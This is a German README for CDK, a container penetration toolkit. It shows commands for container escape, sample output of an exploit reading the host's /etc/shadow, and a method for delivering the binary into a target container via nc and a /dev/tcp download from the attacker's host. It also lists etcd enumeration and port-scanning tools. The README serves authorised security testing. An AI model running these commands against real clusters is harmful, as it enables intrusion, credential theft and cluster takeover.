
📦 Erleichtern Sie die Sicherheitstests von K8s, Docker und Containerd.
English | 简体中文

Die Nutzung von CDK zum Angriff auf Ziele ohne vorherige gegenseitige Zustimmung ist illegal. CDK dient ausschließlich Sicherheitstestzwecken.
CDK ist ein quelloffenes Toolkit für Container-Penetration, das für stabile Ausnutzung in verschiedenen abgespeckten Containern ohne Betriebssystemabhängigkeiten entwickelt wurde. Es enthält nützliche Netzwerktools und viele leistungsstarke PoCs/Exploits und hilft Ihnen, Container zu entkommen und K8s-Cluster einfach zu übernehmen.
Führen Sie cdk eva aus, um Bewertungsinformationen und einen empfohlenen Exploit zu erhalten, und führen Sie dann cdk run aus, um den Angriff zu starten.
> ./cdk eva --full
[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.
> ./cdk run cap-dac-read-search
Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
Laden Sie die neueste Version unter https://github.com/cdk-team/CDK/releases/ herunter.
Legen Sie die ausführbaren Dateien in den Zielcontainer und starten Sie die Tests.
Wenn Sie einen Exploit haben, der eine Datei hochladen kann, können Sie das CDK-Binary direkt hochladen.
Wenn Sie einen RCE-Exploit haben, aber der Zielcontainer kein curl oder wget besitzt, können Sie CDK mit der folgenden Methode ausliefern:
(auf Ihrem Host)
nc -lvp 999 < cdk
cat < /dev/tcp/(Ihre_öffentliche_Host_IP)/(Port) > cdk
chmod a+x cdk
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Evaluate:
cdk evaluate Gather information to find weakness inside container.
cdk evaluate --full Enable file scan during information gathering.
Exploit:
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/cdk-team/CDK/wiki
Tool:
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl <path> (get|post) <uri> <data> Make request to K8s api-server.
ectl <endpoint> get <key> Unauthorized enumeration of ectd keys.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Show this help msg.
-v --version Show version.
--profile=<name> Select evaluation profile.
CDK besteht aus drei Modulen:
Verwendung
cdk evaluate [--full]
| Taktik | Skript | Unterstützt | Verwendung/Beispiel |
|---|---|---|---|
| Informationssammlung | OS-Grundinformationen | ✔ | Link |
| Informationssammlung | Verfügbare Capabilities | ✔ | Link |
| Informationssammlung | Verfügbare Linux-Befehle | ✔ | Link |
| Informationssammlung | Mounts | ✔ | Link |
| Informationssammlung | Net Namespace | ✔ | Link |
| Informationssammlung | Sensitive ENV | ✔ | Link |
| Informationssammlung | Sensitive Prozesse | ✔ | Link |
| Informationssammlung | Sensitive lokale Dateien | ✔ | Link |
| Informationssammlung | Kube-proxy Route Localnet (CVE-2020-8558) | ✔ | Link |
| Informationssammlung | DNS-basierte Service-Discovery | ✔ | Link |
| Discovery | K8s Api-Server-Informationen | ✔ | Link |
| Discovery | K8s Service-Account-Informationen | ✔ | Link |
| Discovery | Cloud-Provider-Metadaten-API | ✔ | Link |
Liste aller verfügbaren Exploits:
cdk run --list
Gezielten Exploit ausführen:
cdk run <script-name> [options]